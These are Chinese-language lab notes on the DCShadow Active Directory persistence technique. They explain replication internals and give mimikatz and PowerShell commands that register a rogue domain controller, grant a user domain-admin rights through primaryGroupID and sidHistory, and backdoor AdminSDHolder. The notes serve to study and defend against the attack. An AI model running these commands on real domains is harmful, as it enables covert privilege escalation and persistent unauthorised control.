参考、摘抄于:
https://blog.riskivy.com/dcshadow/#DCShadow-2
DCShadow explained: A technical deep dive into the latest AD attack technique
DCShadow - Silently turn off Active Directory Auditing
DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more
https://zhuanlan.zhihu.com/p/37782341
DCshadow不是一种提权手法,而是拿到域控权限后用于权限维持的技术;相比于DCsync,它能直接修改AD中对象的属性,尽管DCsync+Pass the hash也能修改AD对象属性,但没有DCShadow快速、隐蔽。基础概念
nTDSDSA对象
在活动目录数据库中通过一些特殊对象以及一定的数据对象层级关系来标识某台机器是域控制器,其中,最关键的是nTDSDSA对象,该对象正是标识一台主机是域控角色的特殊对象。同时,nTDSDSA对象需要位于正确的位置,根据文档其父对象应该是一个server对象,server对象有一个属性serverReference,它的值正是链接到的域控computer对象。Kerberos SPN
SPN,即Service Principal Name,客户端通过Kerberos请求使用某种服务时,会在请求中附带上需要访问的服务的SPN名称,如文件共享服务cifs/DNS_DOMAIN_NAME,目录访问服务ldap/DNS_DOMAIN_NAME。KDC(密钥分发中心)将通过SPN来确定客户端请求访问的是主机上的哪个具体服务,因为一个主机上通常情况下同时提供多种支持Kerberos认证的服务,随后,KDC将使用该服务账号的密码哈希来对票据进行加密。 一般格式长这样:一个主机作为域控角色,使用Directory Replication Service (DRS)服务与域内其他域控进行数据同步,关于DRS服务需要使用的SPN,可参考[MS-DRSR]:
service_class/hostname_or_FQDN
service_class/hostname_or_FQDN:port
service_class/hostname_or_FQDN:port/arbitrary_name
- 连接域内指定的域控,这种情况下,SPN形式为
/ ,DRS interface GUID是一个固定的数值,为E3514235-4B06-11D1-AB04-00C04FC2DCD2,DSA GUID是nTDSDSA对象的objectGUID属性值,由于nTDSDSA对象无法直接通过LDAP操作插入,而DSA GUID(objectGUID属性值)依赖于nTDSDSA对象,因此该SPN同样不能直接通过LDAP进行插入。/ - 连接域林中的GC服务器,GC服务器(Global Catalog Server)是全局编录服务器,可以理解为一种服务或角色,用于存储本域所有对象信息和林中其他域部分对象信息,这种情况下,SPN形式为GC/
/ ,可以直接通过LDAP操作为属性插入新值。
攻击过程
一方面,mimikatz要往AD中插入数据以伪造一个域控,以及向真实域控发出同步请求,需要调用以下drsuapi接口:
# 窗口1 注册本机为域控,等待真实域控连接
1. 需要以system权限启动mimikatz,system权限下用户名是win10-pc$,只有机器账号才能作为域控
- 方法1:psexec启动mimikatz
- 方法2:mimikatz自己获取system令牌
!+
!processtoken
2. lsadump::dcshadow /object:CN=win10,CN=Users,DC=ring2,DC=com /attribute:description /value:"helloworld"
# 窗口2,以域管理员账户启动mimikatz,用于插入数据伪造DC,并强制发起域内同步
PsExec64.exe -u ring2\administrator -p Test1234 c:\Users\win10\Desktop\mimikatz.exe
token::whoami
lsadump::dcshadow /push
- IDL_DRSBind/IDL_DRSUnbind:drsuapi接口方法调用需要先进行Bind操作。
- IDL_DRSAddEntry:添加/修改一个或多个数据对象,该方法的一个关键作用是,可以为server对象添加nTDSDSA对象,前面讲到nTDSDSA对象无法通过LDAP操作添加,此处,mimikatz通过对IDL_DRSAddEntry方法的调用来实现插入nTDSDSA对象,使该台主机成为域控角色。
- IDL_DRSReplicaAdd:为指定的NC添加数据同步引用源(respFrom变量),客户端调用该方法,通知服务端当前有数据需要进行同步,应立即根据respFrom变量的值发起数据同步复制,该方法的调用实际上就是push指令触发注入恶意数据对象背后的操作。
- IDL_DRSGetNCChanges:服务端在接收到客户端调用IDL_DRSReplicaAdd方法后,开始数据同步过程,根据respFrom变量指定的数据同步源,服务端向其发起连接并调用其IDL_DRSGetNCChanges方法,需要同步的数据将被封装在调用请求的响应中返回。
- IDL_DRSReplicaDel:与Add相反,移除数据同步引用源。
1.注册
LDAP操作目录数据库,用于新建server对象以及增加GC SPN。
(下面的包是一次完成/push抓到的,如果代码中每步getchar暂停,抓到的LDAP包有问题。。。)












利用
为普通用户添加域管权限
// 将普通用户加入Domain Admins组
lsadump::dcshadow /object:CN=win10,CN=Users,DC=ring2,DC=com /attribute:primarygroupid/value:512
// sidhistory设为域管administartor的sid
lsadump::dcshadow /object:CN=win10,CN=Users,DC=ring2,DC=com /attribute:sidhistory /value:S-1-5-21-1900941692-2128706383-2830697502-500
执行域复制:
lsadump::dcshadow /push
使用sidhistory提权横移到其他域
https://stealthbits.com/blog/privilege-escalation-with-dcshadow/
Once an attacker has administrative rights over one domain, it is possible to spread to trusted domains/forests. It is important to look for the options related to SID Filtering. If SID Filtering is enabled, than historical SIDs cannot be used to access the forest on the other side of the trust. However, if it is disabled than we are in business. Many times this option is left disabled after migrations to ensure users don’t lose access to any systems and data they need.Get-NetDomainTrust | ForEach-Object{Get-ADTrust –filter * -server $_.TargetName}
添加SIDHistory后,即可对新域做DCsync
lsadump::dcshadow /object:"CN=Jeff Warren,OU=Administrators,OU=Users,OU=JEFFLAB,DC=JEFFLAB,DC=local" /attribute:sidhistory /value:S-1-5-21-1722627474-2472677011-3296483304-1113
Get-ADUser Jeff -Properties SIDHistory
添加AdminSDHolder后门
AdminSDHolder ACL存储在nTSecurityDescriptor属性中,通过DCshadow修改此属性,以维持域内权限。相比于直接使用Domaind Admins账户,隐蔽性更高。获取当前AdminSDHolder ACL
$AdminSDHolder = [adsi]'LDAP://CN=AdminSDHolder,CN=System,DC=ring2,DC=com'
$SDDL = $AdminSDHolder.ObjectSecurity.Sddl
修改AdminSDHolder ACL
$UserToAdd = [adsi]'LDAP://CN=WIN10,CN=Users,DC=ring2,DC=com'
$UserSid = New-Object System.Security.Principal.SecurityIdentifier($UserToAdd.objectSid[0], 0)
$NewSDDL = $SDDL + "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + $UserSid.Value + ")"
使用DCShadow推送修改
.mimikatz.exe "lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=ring2,DC=com /attribute:ntsecuritydescriptor /value:[NEW SDDL FROM ABOVE]”